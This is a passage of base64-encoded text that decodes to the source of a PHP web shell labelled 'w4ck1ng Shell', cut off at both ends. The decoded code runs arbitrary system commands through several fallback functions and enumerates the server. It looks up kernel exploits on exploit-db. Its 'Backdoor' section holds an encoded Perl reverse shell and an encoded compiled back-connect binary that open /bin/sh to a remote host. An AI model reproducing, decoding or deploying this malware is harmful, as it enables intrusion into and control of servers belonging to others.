JldHVybiAkbGV0dGVyczt9DQogIGVsc2Uge1JldHVybiAiTm9uZSI7fQ0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkgew0KICBmdW5jdGlvbiBkaXNwX2ZyZWVzcGFjZSgkY3VyZHJ2KSB7DQogICAgJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGN1cmRydik7DQogICAgJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkY3VyZHJ2KTsNCiAgICBpZiAoJGZyZWUgPT09IEZBTFNFKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQ0KICAgIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQ0KICAgIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9DQogICAgJHVzZWQgPSAkdG90YWwtJGZyZWU7DQogICAgJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKS4iJSI7DQogICAgJGZyZWUgPSB2aWV3X3NpemUoJGZyZWUpOw0KICAgICR0b3RhbCA9IHZpZXdfc2l6ZSgkdG90YWwpOw0KICAgIHJldHVybiAiJGZyZWUgb2YgJHRvdGFsICgkZnJlZV9wZXJjZW50KSI7DQogIH0NCn0NCi8vdzRjazFuZyBTaGVsbA0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c2hlbGxleGVjIikpIHsNCiAgaWYoaXNfY2FsbGFibGUoInBvcGVuIikpIHsNCiAgICBmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKSB7DQogICAgICBpZiAoISgkcD1wb3BlbigiKCRjbWQpMj4mMSIsInIiKSkpIHsgcmV0dXJuICJwb3BlbiBEaXNhYmxlZCEiOyB9DQogICAgICB3aGlsZSAoIWZlb2YoJHApKSB7DQogICAgICAgICRsaW5lPWZnZXRzKCRwLDEwMjQpOw0KICAgICAgICAkb3V0IC49ICRsaW5lOw0KICAgICAgfQ0KICAgICAgcGNsb3NlKCRwKTsNCiAgICAgIHJldHVybiAkb3V0Ow0KICAgIH0NCiAgfSBlbHNlIHsNCiAgICBmdW5jdGlvbiBteXNoZWxsZXhlYygkY21kKSB7DQogICAgICBnbG9iYWwgJGRpc2FibGVmdW5jOw0KICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgaWYgKCFlbXB0eSgkY21kKSkgew0KICAgICAgICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSBhbmQgIWluX2FycmF5KCJleGVjIiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgZXhlYygkY21kLCRyZXN1bHQpOw0KICAgICAgICAgICRyZXN1bHQgPSBqb2luKCJcbiIsJHJlc3VsdCk7DQogICAgICAgIH0gZWxzZWlmICgoJHJlc3VsdCA9ICRjbWQpICE9PSBGQUxTRSkgew0KICAgICAgICB9IGVsc2VpZiAoaXNfY2FsbGFibGUoInN5c3RlbSIpIGFuZCAhaW5fYXJyYXkoInN5c3RlbSIsJGRpc2FibGVmdW5jKSkgew0KICAgICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgc3lzdGVtKCRjbWQpOyAkcmVzdWx0ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgZWNobyAkdjsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpIGFuZCAhaW5fYXJyYXkoInBhc3N0aHJ1IiwkZGlzYWJsZWZ1bmMpKSB7DQogICAgICAgICAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7DQogICAgICAgIH0gZWxzZWlmIChpc19yZXNvdXJjZSgkZnAgPSBwb3BlbigkY21kLCJyIikpKSB7DQogICAgICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsgJHJlc3VsdCAuPSBmcmVhZCgkZnAsMTAyNCk7IH0NCiAgICAgICAgICBwY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgfQ0KICB9DQp9DQpmdW5jdGlvbiBleCgkY2ZlKSB7DQogICRyZXMgPSAnJzsNCiAgaWYgKCFlbXB0eSgkY2ZlKSkgew0KICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7DQogICAgICBAZXhlYygkY2ZlLCRyZXMpOw0KICAgICAgJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCiAgICAgIEBvYl9zdGFydCgpOw0KICAgICAgQHN5c3RlbSgkY2ZlKTsNCiAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7DQogICAgICBAb2Jfc3RhcnQoKTsNCiAgICAgIEBwYXNzdGhydSgkY2ZlKTsNCiAgICAgICRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfSBlbHNlaWYoQGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRjZmUsInIiKSkpIHsNCiAgICAgICRyZXMgPSAiIjsNCiAgICAgIHdoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCiAgICAgIEBwY2xvc2UoJGYpOw0KICAgIH0gZWxzZSB7ICRyZXMgPSAiRXgoKSBEaXNhYmxlZCEiOyB9DQogIH0NCiAgcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiB3aGljaCgkcHIpIHsNCiAgJHBhdGggPSBleCgid2hpY2ggJHByIik7DQogIGlmKCFlbXB0eSgkcGF0aCkpIHsgcmV0dXJuICRwYXRoOyB9IGVsc2UgeyByZXR1cm4gJHByOyB9DQp9DQovL0VuZCBvZiB3NGNrMW5nIFNoZWxsDQoNCi8vU3RhcnQgRW51bWVyYXRlIGZ1bmN0aW9uDQokaG9zdG5hbWVfeCA9IHBocF91bmFtZShuKTsNCiRpdHNob21lID0gZ2V0Y3dkKCk7DQppZiAoISR3aW4pIHsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL2hvbWUvIiwifiIsJGl0c2hvbWUpOw0KICAkaXRzaG9tZSA9IHN0cl9yZXBsYWNlKCIvcHVibGljX2h0bWwiLCIvZngyOXNoLnBocCIsJGl0c2hvbWUpOw0KfQ0KZWxzZSB7ICRpdHNob21lID0gIiI7IH0NCiRlbnVtZXJhdGUgPSAiaHR0cDovLyIuJGhvc3RuYW1lX3guIi8iLiRpdHNob21lLiIiOw0KLy9FbmQgRW51bWVyYXRlIGZ1bmN0aW9uDQoNCi8vbWlsdzBybSBzZWFyY2gNCiRMdmVyc2lvbiA9IHBocF91bmFtZShyKTsNCiRPU1YgPSBwaHBfdW5hbWUocyk7DQppZihlcmVnaSgiTGludXgiLCRPU1YpKSB7DQogICRMdmVyc2lvbj1zdWJzdHIoJEx2ZXJzaW9uLDAsNik7DQogJG1pbGxpbms9Imh0dHA6Ly93d3cuZXhwbG9pdC1kYi5jb20vc2VhcmNoLz9hY3Rpb249c2VhcmNoJmZpbHRlcl9wYWdlPTEmZmlsdGVyX2Rlc2NyaXB0aW9uPUxpbnV4IEtlcm5lbCAiLiRMdmVyc2lvbjsNCn0gZWxzZSB7DQogICRMdmVyc2lvbj1zdWJzdHIoJEx2ZXJzaW9uLDAsMyk7DQogICRtaWxsaW5rID0iaHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9MSZmaWx0ZXJfZGVzY3JpcHRpb249Ii4kT1NWLiIgIi4kTHZlcnNpb247DQp9DQovL0VuZCBvZiBtaWx3MHJtIHNlYXJjaA0KDQovL0JhY2tkb29yDQokYmFja19jb25uZWN0X3BsID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR050WkQwZ0lteDVibmdpT3cwS0pITjVjM1JsYlQwZ0oyVmphRzhnSW1CMWJtRnRaU0F0WVdBaU95YzdEUW9rYzNsemRHVnRNVDBnSjJWamFHOGdJbUJwWkdBaU95YzdEUW9rYzNsemRHVnRNajBnSjJWamFHOGdJbUJ3ZDJSZ0lqc25PdzBLSkhONWMzUmxiVE05SUNkbFkyaHZJQ0pnZDJodllXMXBZRUJnYUc5emRHNWhiV1ZnT240Z1BpSTdKenNOQ2lSemVYTjBaVzAwUFNBbkwySnBiaTl6YUNjN0RRb2tNRDBrWTIxa093MEtKSFJoY21kbGREMGtRVkpIVmxzd1hUc05DaVJ3YjNKMFBTUkJVa2RXV3pGZE93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tkR0Z5WjJWMEtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFva2NHRmtaSEk5YzI5amEyRmtaSEpmYVc0b0pIQnZjblFzSUNScFlXUmtjaWtnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJ5YjNSdlBXZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LVHNOQ25OdlkydGxkQ2hUVDBOTFJWUXNJRkJHWDBsT1JWUXNJRk5QUTB0ZlUxUlNSVUZOTENBa2NISnZkRzhwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DbU52Ym01bFkzUW9VMDlEUzBWVUxDQWtjR0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ205d1pXNG9VMVJFU1U0c0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJQVlZRc0lDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lDSStKbE5QUTB0RlZDSXBPdzBLY0hKcGJuUWdJbHh1WEc0Nk9pQjNOR05yTVc1bkxYTm9aV3hzSUNoUWNtbDJZWFJsSUVKMWFXeGtJSFl3TGpNcElISmxkbVZ5YzJVZ2MyaGxiR3dnT2pwY2JseHVJanNOQ25CeWFXNTBJQ0pjYmxONWMzUmxiU0JKYm1adk9pQWlPeUFOQ25ONWMzUmxiU2drYzNsemRHVnRLVHNOQ25CeWFXNTBJQ0pjYmxsdmRYSWdTVVE2SUNJN0lBMEtjM2x6ZEdWdEtDUnplWE4wWlcweEtUc05DbkJ5YVc1MElDSmNia04xY25KbGJuUWdSR2x5WldOMGIzSjVPaUFpT3lBTkNuTjVjM1JsYlNna2MzbHpkR1Z0TWlrN0RRcHdjbWx1ZENBaVhHNGlPdzBLYzNsemRHVnRLQ1J6ZVhOMFpXMHpLVHNnYzNsemRHVnRLQ1J6ZVhOMFpXMDBLVHNOQ21Oc2IzTmxLRk5VUkVsT0tUc05DbU5zYjNObEtGTlVSRTlWVkNrN0RRcGpiRzl6WlNoVFZFUkZVbElwT3c9PSI7DQokYmFja19jb25uZWN0X2MgPSAiZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxMkFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvLytEeEJDRDdBei9kZVRvNFB6Ly80UEVFSTFsOUZ0ZVg4bkRrRldKNVZkV1U0UHNET2dBQUFBQVc0SEQ2aEVBQU9pQy9QLy9qWU1nLy8vL2paTWcvLy8vaVVYd0tkQXg5c0g0QWpuR2N4YUoxNG4yL3hTeWkwM3dLZmxHd2ZrQ09jNkorbkx1ZzhRTVcxNWZ5Y09KOWxXSjVWZFdVK2dBQUFBQVc0SERtUkVBQUkyRElQLy8vNDI3SVAvLy95bjR3ZmdDZyt3TWpYRC82d1dRL3hTM1RvUCsvM1gzNkM0QUFBQ0R4QXhiWGwvSnc1Q1FWWW5sVTFLN0xKa0VDS0VzbVFRSTZ3cU5kZ0NENndULzBJc0RnL2ovZGZSWVc4bkRWWW5sVStnQUFBQUFXNEhETXhFQUFGRG9PdjMvLzFsYnljTUFBQU1BQUFBQkFBSUFjbTBnTFdZZ0FBQUFBQUFBQUFBQUFBQUFBQUFBV3kxZElHTnZibTVsWTNRb0tRQnphQ0F0YVFBdlltbHVMM05vQUFBQUFBQUFBQUQvLy8vL0FBQUFBUC8vLy84QUFBQUFBQUFBQUFFQUFBQWtBQUFBREFBQUFMQ0VCQWdOQUFBQTBJZ0VDQVFBQUFCSWdRUUlCUUFBQUNTREJBZ0dBQUFBNUlFRUNBb0FBQUM4QUFBQUN3QUFBQkFBQUFBVkFBQUFBQUFBQUFNQUFBQU1tZ1FJQWdBQUFJQUFBQUFVQUFBQUVRQUFBQmNBQUFBd2hBUUlFUUFBQUNpRUJBZ1NBQUFBQ0FBQUFCTUFBQUFJQUFBQS92Ly9id2lFQkFqLy8vOXZBUUFBQVBELy8yL2dnd1FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUNaQkFnQUFBQUFBQUFBQU42RUJBanVoQVFJL29RRUNBNkZCQWdlaFFRSUxvVUVDRDZGQkFoT2hRUUlYb1VFQ0c2RkJBaCtoUVFJam9VRUNKNkZCQWl1aFFRSXZvVUVDTTZGQkFnQUFBQUFBQUFBQURpWkJBZ0FSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFMbk41YlhSaFlnQXVjM1J5ZEdGaUFDNXphSE4wY25SaFlnQXVhVzUwWlhKd0FDNXViM1JsTGtGQ1NTMTBZV2NBTG1oaGMyZ0FMbVI1Ym5ONWJRQXVaSGx1YzNSeUFDNW5iblV1ZG1WeWMybHZiZ0F1WjI1MUxuWmxjbk5wYjI1ZmNnQXVjbVZzTG1SNWJnQXVjbVZzTG5Cc2RBQXVhVzVwZEFBdWRHVjRkQUF1Wm1sdWFRQXVjbTlrWVhSaEFDNWxhRjltY21GdFpRQXVZM1J2Y25NQUxtUjBiM0p6QUM1cVkzSUFMbVI1Ym1GdGFXTUFMbWR2ZEFBdVoyOTBMbkJzZEFBdVpHRjBZUUF1WW5OekFDNWpiMjF0Wlc1MEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFBQUFBUUFBQUFJQUFBQVVnUVFJRkFFQUFCTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJd0FBQUFjQUFBQUNBQUFBS0lFRUNDZ0JBQUFnQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQURFQUFBQUZBQUFBQWdBQUFFaUJCQWhJQVFBQW5BQUFBQVFBQUFBQUFBQUFCQUFBQUFRQUFBQTNBQUFBQ3dBQUFBSUFBQURrZ1FRSTVBRUFBRUFCQUFBRkFBQUFBUUFBQUFRQUFBQVFBQUFBUHdBQUFBTUFBQUFDQUFBQUpJTUVDQ1FEQUFDOEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFFY0FBQUQvLy85dkFnQUFBT0NEQkFqZ0F3QUFLQUFBQUFRQUFBQUFBQUFBQWdBQUFBSUFBQUJVQUFBQS92Ly9id0lBQUFBSWhBUUlDQVFBQUNBQUFBQUZBQUFBQVFBQUFBUUFBQUFBQUFBQVl3QUFBQWtBQUFBQ0FBQUFLSVFFQ0NnRUFBQUlBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBR3dBQUFBSkFBQUFBZ0FBQURDRUJBZ3dCQUFBZ0FBQUFBUUFBQUFMQUFBQUJBQUFBQWdBQUFCMUFBQUFBUUFBQUFZQUFBQ3doQVFJc0FRQUFCY0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQUFBQUFFQUFBQUdBQUFBeUlRRUNNZ0VBQUFRQVFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUhzQUFBQUJBQUFBQmdBQUFOaUZCQWpZQlFBQStBSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ0JBQUFBQVFBQUFBWUFBQURRaUFRSTBBZ0FBQm9BQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBaHdBQUFBRUFBQUFDQUFBQTdJZ0VDT3dJQUFBNUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJOEFBQUFCQUFBQUFnQUFBQ2lKQkFnb0NRQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNaQUFBQUFRQUFBQU1BQUFBc21RUUlMQWtBQUFnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW9BQUFBQUVBQUFBREFBQUFOSmtFQ0RRSkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS2NBQUFBQkFBQUFBd0FBQUR5WkJBZzhDUUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDc0FBQUFCZ0FBQUFNQUFBQkFtUVFJUUFrQUFNZ0FBQUFGQUFBQUFBQUFBQVFBQUFBSUFBQUF0UUFBQUFFQUFBQURBQUFBQ0pvRUNBZ0tBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUxvQUFBQUJBQUFBQXdBQUFBeWFCQWdNQ2dBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBRERBQUFBQVFBQUFBTUFBQUJZbWdRSVdBb0FBQXdBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBeVFBQUFBZ0FBQUFEQUFBQVpKb0VDR1FLQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNNEFBQUFCQUFBQUFBQUFBQUFBQUFCa0NnQUFEZ0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFjZ3NBQU5jQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUlBQUFBQUFBQUFBQUFBQUt3UUFBQkFCUUFBR3dBQUFDd0FBQUFFQUFBQUVBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBRHNGUUFBTEFNQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRUNBQUFBQUFEQUFNQUFBQUFBT1NCQkFnQUFBQUFBd0FFQUFBQUFBQWtnd1FJQUFBQUFBTUFCUUFBQUFBQTRJTUVDQUFBQUFBREFBWUFBQUFBQUFpRUJBZ0FBQUFBQXdBSEFBQUFBQUFvaEFRSUFBQUFBQU1BQ0FBQUFBQUFNSVFFQ0FBQUFBQURBQWtBQUFBQUFMQ0VCQWdBQUFBQUF3QUtBQUFBQUFESWhBUUlBQUFBQUFNQUN3QUFBQUFBMklVRUNBQUFBQUFEQUF3QUFBQUFBTkNJQkFnQUFBQUFBd0FOQUFBQUFBRHNpQVFJQUFBQUFBTUFEZ0FBQUFBQUtJa0VDQUFBQUFBREFBOEFBQUFBQUN5WkJBZ0FBQUFBQXdBUUFBQUFBQUEwbVFRSUFBQUFBQU1BRVFBQUFBQUFQSmtFQ0FBQUFBQURBQklBQUFBQUFFQ1pCQWdBQUFBQUF3QVRBQUFBQUFBSW1nUUlBQUFBQUFNQUZBQUFBQUFBREpvRUNBQUFBQUFEQUJVQUFBQUFBRmlhQkFnQUFBQUFBd0FXQUFBQUFBQmttZ1FJQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBREFCZ0FBQUFBQUFBQUFBQUFBQUFBQXdBWkFBQUFBQUFBQUFBQUFBQUFBQU1BR2dBQUFBQUFBQUFBQUFBQUFBQURBQnNBQVFBQUFQeUZCQWdBQUFBQUFnQU1BQkVBQUFBQUFBQUFBQUFBQUFRQThmOGNBQUFBTEprRUNBQUFBQUFCQUJBQUtnQUFBRFNaQkFnQUFBQUFBUUFSQURnQUFBQThtUVFJQUFBQUFBRUFFZ0JGQUFBQVlKb0VDQUFBQUFBQkFCWUFTUUFBQUdTYUJBZ0JBQUFBQVFBWEFGVUFBQUFnaGdRSUFBQUFBQUlBREFCckFBQUFWSVlFQ0FBQUFBQUNBQXdBRVFBQUFBQUFBQUFBQUFBQUJBRHgvM2NBQUFBd21RUUlBQUFBQUFFQUVBQ0VBQUFBT0prRUNBQUFBQUFCQUJFQWtRQUFBQ2lKQkFnQUFBQUFBUUFQQUo4QUFBQThtUVFJQUFBQUFBRUFFZ0NyQUFBQXJJZ0VDQUFBQUFBQ0FBd0F3UUFBQUFBQUFBQUFBQUFBQkFEeC84Z0FBQUFBQUFBQUhBRUFBQklBQUFEWkFBQUFRSmtFQ0FBQUFBQVJBQk1BNGdBQUFBQUFBQUJ4QUFBQUVnQUFBUE1BQUFEc2lBUUlCQUFBQUJFQURnRDZBQUFBQUFBQUFBc0NBQUFTQUFBQURBRUFBQ3laQkFnQUFBQUFFQUx4L3gwQkFBQmNtZ1FJQUFBQUFCRUNGZ0FxQVFBQWFJZ0VDRUlBQUFBU0FBd0FPZ0VBQUFBQUFBQjlBQUFBRWdBQUFFd0JBQUN3aEFRSU